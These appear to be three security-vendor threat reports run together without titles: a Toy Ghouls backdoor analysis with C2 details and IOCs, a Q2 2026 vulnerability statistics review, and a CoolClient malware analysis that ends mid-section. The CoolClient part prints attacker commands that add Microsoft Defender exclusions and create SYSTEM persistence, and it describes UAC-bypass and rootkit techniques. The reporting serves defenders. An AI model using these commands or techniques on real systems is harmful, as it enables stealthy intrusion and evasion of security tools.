Introduction

We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.

We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:

• mqtt-bird-agent 0.1.0 (HiveMQ version)
• matrix-bird-agent 0.1.0 (Element version)

This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.

Technical details

Delivery

In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.

Installation

The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.

Other launch options are listed in the backdoor’s help output:

C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]

Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version

HiveMQ version backdoor help output

In the Element version, the backdoor help output looks as follows:

C:\wtass.exe -h
Matrix monitoring agent

Usage: wtass.exe [OPTIONS] [COMMAND]

Commands:
  install    Register this agent with the Matrix homeserver and panel
  uninstall  Remove this agent's service and credentials
  service    Run as a Windows service (internal)
  help       Print this message or the help of the given subcommand(s)

Options:
  -c, --config <CONFIG>
  -h, --help             Print help
  -V, --version          Print version

Element version backdoor help output

By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.

The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.

If the configuration cannot be decrypted, the backdoor stops running.

Encrypted configuration files look as follows:

Encrypted backdoor configuration file, HiveMQ version

The encrypted portion of the HiveMQ version’s configuration contains the following parameters:

• agent_privkey: the agent’s private key
• channel_id: the channel identifier used to communicate with the broker
• server_pubkey: the server’s public key

Decrypted blob field in the HiveMQ version’s configuration

In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.

Decrypted Element version configuration file, retrieved from the registry

The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.

Communication

At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.

The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.

• Once a connection is established, the system’s status is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/status. The message format is: {"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
• At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is: {cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• The backdoor sends GET requests to broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format: {"cmd_id":int,"command":"str","timeout_secs":int}.
• Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
• Command execution results are sent to the command server at broker.hivemq.com:8883/[cluster_id]/cmd/res in the {"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.

For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:

• Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
• At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version: {cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• This version of the backdoor supports two types of commands, distinguished by the start of the received message.
  • To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
  • Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
• Received commands are executed via the Windows command line interface.
• Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.

Takeaways

We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.

Indicators of compromise

Kaspersky security solution verdicts:

• HEUR:Backdoor.Win64.Suptoml.gen
• HEUR:Trojan.Script.Zapchast.conf
• Backdoor.Win64.Agent.smgdvy
• Trojan.Script.Zapchast.abwm
• Trojan.Win64.Agent.smgsfo
• Trojan.Script.Zapchast.abwo

File names and MD5 hashes:

• cplsupport.exe (BFADBEEE63A4F0BF19EC9DEB8FA58F58)
• wtass.exe (7916C33688385525078BEE504C90F359)
• config.toml

Registry keys:

• HKLM\Software\synapse\Config\SealedConfig
• HKLM\Software\SynapseAgent\metrics_interval

Service names:

• cplsupport (Problem Reports Control Panel)
• wtas (Windows Telemetry Aggregator Service)

Domain names:

• meet.element[.]tw
• broker.hivemq.com (a legitimate resource used by cybercriminals)
• ip-api.com (a legitimate resource used by cybercriminals)

The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.

Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.

We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:

• BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
• RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
• YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
• GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
• RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
• UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.

Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.

Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
• CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.

All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:

• CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
• CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
• CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
• CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
• CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
• CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root

The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.

Most common published exploits

The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.

Distribution of published exploits by platform, Q1 2026 (download)

Distribution of published exploits by platform, Q2 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)

In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)

Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
• CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user

These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.

LLM/AI tool vulnerabilities

This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.

As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.

The chart below covers registered vulnerabilities in AI tools for 2025–2026.

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:

TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026

Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.

Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:

• Inadequate access control over critical system objects
• Improper implementation of authentication and authorization mechanisms
• Injections

It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.

Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.

TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.

CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw

The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.

The attack algorithm exploiting this vulnerability works as follows:

1. The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
2. There is no validation before use.
3. The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
4. While connected, the application sends credentials (an access token) to the specified address.

If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:

• User session compromise
• Execution of operations on the user’s behalf
• Modification of the AI agent configuration
• Unauthorized access to tools and resources connected to the agent
• Under certain OpenClaw configurations, further compromise of the host running the agent

It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.

CVE-2026-41948: a path traversal vulnerability in the Dify AI platform

The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.

Depending on the Dify configuration, the consequences can include:

• Unauthorized access to internal service interfaces
• Breach of isolation between workspaces
• Exposure of internal service information
• Conditions favorable to further attacks when combined with other vulnerabilities

The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.

CVE-2026-45386: an improper access control vulnerability in Open WebUI

In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.

The vulnerability’s mechanism works as follows:

1. The user initiates an action that changes the state of an object.
2. The application treats this action as a regular read request.
3. Only channel view permission is checked.
4. The application performs a write without verifying the required user authorization.

This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.

Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.

Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.

CVE-2026-45501: a vulnerability in Microsoft Exchange

The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.

Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.

It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.

Conclusion and advice

Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.

Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.

Introduction

CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.

Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.

In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.

We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.

Technical analysis

In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).

wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender"
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"

The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.

xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f

Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.

schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F

When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.

CoolClient components

Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.

Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.

Overview of the new variant of CoolClient

First stage: libngs.dll

Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.

To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.

Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess

The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.

The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.

Second stage: loadcert.ini (before synchost.exe injection)

The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.

If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.

If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).

Command handler

The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.

Execution is controlled through three command-line parameters:

If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.

Establishing AutoRun persistence

When executed with the install parameter, CoolClient creates an AutoRun entry under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.

Process injection into synchost.exe

Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.

The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.

From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).

Service installation

When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.

Function to check for running 360 Total Security software processes

If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.

The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.

Administrator privilege check

If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.

When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.

Elevated relaunch and UAC bypass

To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.

The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.

Authenticated RPC binding used during the RPC-based UAC bypass

After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.

Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.

Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.

Second stage: loadcert.ini (Injected Execution)

After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.

Kernel-Mode driver deployment

The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.

If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:

C:\Program Files\Microsoft\Windows Defender\msagent.sys

Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.

Driver initialization

After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.

The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.

The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.

Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.

As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.

The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.

Cert.ini process injection

